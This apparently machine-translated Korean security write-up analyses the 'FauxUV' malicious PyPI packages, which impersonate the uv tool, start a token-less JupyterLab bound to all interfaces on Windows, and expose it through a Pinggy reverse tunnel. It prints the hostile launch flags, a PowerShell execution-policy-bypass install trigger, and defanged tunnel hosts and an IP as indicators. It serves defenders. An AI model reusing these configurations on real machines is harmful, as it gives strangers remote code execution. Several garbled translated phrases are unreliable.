TL; DR
PyPI 패키지 클러스터가 그 이름을 차용했습니다. uv빠르고 매우 인기 있는 Rust 기반 Python 패키지 관리자를 uv 헬퍼로 위장하여 사용합니다. 하지만 실제 기능은 거의 제공하지 않습니다. 대신 Windows 페이로드를 탑재하여 uv 헬퍼를 실행합니다. 인증 기능이 꺼진 JupyterLab 서버 그리고 이후 버전에서는 역방향 터널을 통해 이를 공용 인터넷에 게시합니다.
이것이 이야기의 전부를 한 줄로 요약한 것입니다. 신뢰할 수 있는 도구의 이름을 미끼로 사용하고, JupyterLab을 원격 코드 실행 엔진으로 활용했습니다. Jupyter 서버는 노트에 입력한 코드를 실행합니다.ebook 셀은 빈 토큰으로 시작되어 모든 네트워크 인터페이스에 바인딩되며, 포트에 접근할 수 있는 사람이라면 누구나 실행할 수 있는 오픈 인터프리터입니다.
우리는 클러스터를 다음과 같이 추적합니다. 가짜 UV검토된 두 패키지는 다음과 같습니다. moon-uv (0.0.1-0.0.16) 및 my-magic-uv-helper (0.0.1)은 동일한 운영자에 의해 게시되었으며 분석 당시 PyPI에서 사용 가능했습니다.
| 생태계 | PyPI |
| 패키지 | moon-uv (0.0.1-0.0.16), my-magic-uv-helper (0.0.1) |
| 대상 플랫폼 | Windows |
| 핵심 행동 | 인증되지 않은 JupyterLab 서버가 역방향 터널을 통해 인터넷에 공개되었습니다. |
| 합법적인 도구의 남용 | uv, JupyterLab, 클라우드플레어, 핑기 |
매력적인 요소: 이미 신뢰하는 이름
uv 지난 2년간 가장 많이 설치된 파이썬 도구 중 하나이므로, "도우미 역할을 하는 도구"라고 할 수 있습니다. uv"는 개발자가 아무 생각 없이 설치하는 패키지입니다. FauxUV는 그 이름 하나로 신뢰도를 구축했습니다. 이 패키지는 다음을 래핑합니다. 정품 uv Astral에서 제공하는 설치 프로그램의 페이로드에 포함된 URL은 실제 신뢰할 수 있는 호스트를 가리키므로, 얼핏 보면 믿을 만한 참조만 있는 것처럼 보입니다. 실제로 어떤 패키지도 추가 기능을 제공하지 않습니다. uv 기능성 측면에서 보면, 이름 자체가 완전한 위장이다.
JupyterLab을 RCE 엔진으로 사용
탑재체의 핵심은 모든 안전장치를 제거한 상태로 JupyterLab을 시작하는 발사 장치입니다.
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it 각 깃발은 보호 장치를 제거하며, 배송된 원문에는 (중국어 원문으로) 다음과 같은 주석이 달려 있습니다: 빈 토큰 "비밀번호 및 토큰 확인을 비활성화하여 누구나 접속할 수 있도록 합니다." 주피터랩 합법적인 데이터 과학 IDE이지만, 그렇지는 않습니다.ebook 셀은 설계상 임의의 코드를 실행합니다. 이렇게 구성되고 바인딩됩니다. 0.0.0.0그러면 IDE로서의 기능을 잃고 호스트에서 인증되지 않은 원격 셸이 됩니다. 맞춤형 악성코드 바이너리가 필요하지 않고, 단순히 잘못된 방향으로 설정된 일반적인 도구일 뿐입니다.
두 가지 보조 요소가 이를 실현 가능하고 반복 가능하게 만듭니다.
- 자동 설치 트리거. 초기 버전은 PowerShell을 실행합니다. -실행 정책 우회 에서 바로 setup.py on 핍 설치오류가 억제된 상태로 백그라운드에서 실행됩니다. 삐악 삐악 울다 정상적으로 보입니다. 이후 버전에서는 동일한 기본 요소를 다른 위치로 옮깁니다. 핍-UV 명령줄 도구를 사용하고 설치 시 자동 실행 기능을 완전히 제거합니다.
- 공용 역방향 터널. 서버 0.0.0.0 해당 머신으로 라우팅할 수 있는 호스트에서만 여전히 접근 가능합니다. 번들 모듈은 [Pinggy](를 엽니다.https://pinggy.io/) 로컬 Jupyter 포트를 공용 주소로 포워딩하는 SSH 역방향 터널을 통해 해당 제한을 제거합니다. 제공되는 스크립트에는 Cloudflare를 사용하는 대체 경로도 주석 처리되어 있습니다. 구름이 플레어를 일으켰다 및 netsh를 Linode IP에 대한 포트 프록시를 사용하여 서로 다른 인프라를 통해 동일한 목표를 달성하는 방법을 설명합니다.
요약하자면, 패키지를 설치하면 Windows 호스트에서 암호 없이 JupyterLab을 실행하고 이를 인터넷에 공개할 수 있습니다.
FauxUV는 어떻게 진화했을까요?
FauxUV의 버전들은 빠르게 연이어 출시되었고, 페이로드의 트리거 포인트는 버전마다 변경되었습니다. 이는 하나의 플래그가 지정된 버전만으로는 패키지 라인의 전체 상황을 파악하기 어렵다는 점을 상기시켜 줍니다.
| 단계 | 버전 | 트리거 | 추가되는 것 |
|---|---|---|---|
| 설치 후크 | moon-uv 0.0.1 - 0.0.3, my-magic-uv-helper 0.0.1 | setup.py pip 설치 | uv 설치 + PATH 접두사 |
| CLI 런타임 | moon-uv 0.0.5-0.0.13 | pip-uv 명령 | 비밀번호 없이 JupyterLab을 실행할 수 있는 프로그램 |
| 터널 | moon-uv 0.0.14-0.0.16 | pip-uv 명령 | 활성 Pinggy 역방향 터널 |
특히, 설치 시 자동 실행 기능은 다음과 같았습니다. 제거 이후의 더욱 향상된 버전에서는 수명 주기에만 초점을 맞춘 스캐너가 되었습니다. hooks 최신 발매작들에 점수를 매기겠습니다. 적게 위험하고, 완전히 정반대입니다.
타협의 지표
패키지 소스 코드를 읽어 확인했습니다. 엔드포인트가 표시되어 있습니다. 댓글 파일에는 존재하지만 분석된 버전에서는 실행되지 않습니다. 네트워크 지표가 무력화되었습니다.
| 타입 | 지시자 |
|---|---|
| 설치 명령 | powershell -ExecutionPolicy Bypass pip 설치 시 정품 UV 설치 프로그램을 가져옵니다. |
| JupyterLab 플래그 | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| 역방향 터널(활성) | free[.]pinggy[.]io:443 로컬 포워딩 127.0.0.1:8888 |
| 터널 호스트(주석 포함) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (주석 포함) | 45[.]79[.]134[.]161 (Linode)를 통해 netsh port-proxy |
| 고집 | 접두사 %USERPROFILE%\.local\bin 사용자 경로로 |
이러한 특정 문자열과 무관하게, 주의를 기울일 만한 행동 신호는 다음과 같습니다: a 핍 설치 그것이 생성된다 powershell -ExecutionPolicy Bypass; 어느 주피터 결합 출시 토큰="" 과 –ip=0.0.0.0; 그리고 외부 SSH로 *.핑기.io 개발자 또는 CI 머신에서.
관찰된 행동 및 출처
두 패키지는 작성자와 방법이 동일합니다. 신뢰할 수 있는 도구의 이름, Windows 전용 제한, 오류 억제 백그라운드 실행, 평판이 좋은 도구 사용으로 인해 빠르게 살펴보면 평판이 좋은 URL만 표시됩니다. 소스 코드에는 보안 관련 플래그를 명확하게 설명하는 중국어 주석이 포함되어 있습니다. 우리는 이를 파일에서 확인할 수 있는 내용으로 보고하는 것이지, 의도에 대한 주장으로 보고하는 것은 아닙니다. allow_origin 가치와 colab.bat 파일 이름은 Google Colab에서 흔히 사용되는 비공식적인 "로컬 런타임 공유" 워크플로를 떠올리게 합니다. 출처가 어디든, 최종 결과물은 동일합니다.
수비수들을 위한 영향 및 지침
가짜 자외선에 노출되는 사람은 누구인가요? Windows 개발자 및 CI 실행 담당자 핍 설치 이러한 패키지 중 하나입니다. 비밀번호 없이 JupyterLab을 사용할 수 있습니다. 0.0.0.0 원격 코드 실행은 해당 포트에 접근할 수 있는 모든 사용자에게 허용되지만, 터널을 사용하면 이러한 접근 제한이 사라집니다. 서버는 설치 사용자 권한으로 실행되며, 해당 사용자의 파일, 토큰 및 클라우드 자격 증명을 상속받습니다.
놓치기 쉬운 이유. 모든 네트워크 문자열은 Astral, JupyterLab과 같은 신뢰할 수 있는 호스트를 가리킵니다. 구름이 플레어를 일으켰다핑기, 콜랩. 해시할 악성코드 바이너리도 없고, 디코딩할 난독화된 코드 덩어리도 없습니다. 평판 기반 스캔과 시그니처 기반 스캔 모두 이 부분을 과소평가하기 때문에 행동적 측면을 질문하는 것입니다. 이 패키지를 설치하면 기기에 어떤 변화가 생기나요? — 바로 그 사람이 그것을 잡는다.
지도:
- 설치 시간을 처리하세요 powershell -ExecutionPolicy Bypass 빌드를 중단시키는 신호로 작용하며, 어떤 URL을 가져오든 마찬가지입니다.
- 알림 켜짐 주피터 빈 토큰으로 시작되었으며 –ip=0.0.0.0해당 조합은 워크스테이션이나 실행기에서 절대 나타나서는 안 됩니다.
- 터널 제공업체로의 SSH 아웃바운드 연결을 모니터링합니다.*.핑기.io, *.trycloudflare.com개발자 및 CI 환경에서 가져온 것입니다.
- 설치 uv [공식 출처]에서https://docs.astral.sh/uv/또한 설치가 이미 간단한 도구를 감싸는 타사 "도우미" 패키지에 대해서는 회의적인 태도를 가져야 합니다.
- 업그레이드 시 종속성을 고정하고 다시 검토하세요. 패키지 라인은 버전이 업데이트될 때마다 새로운 기능을 추가할 수 있습니다.



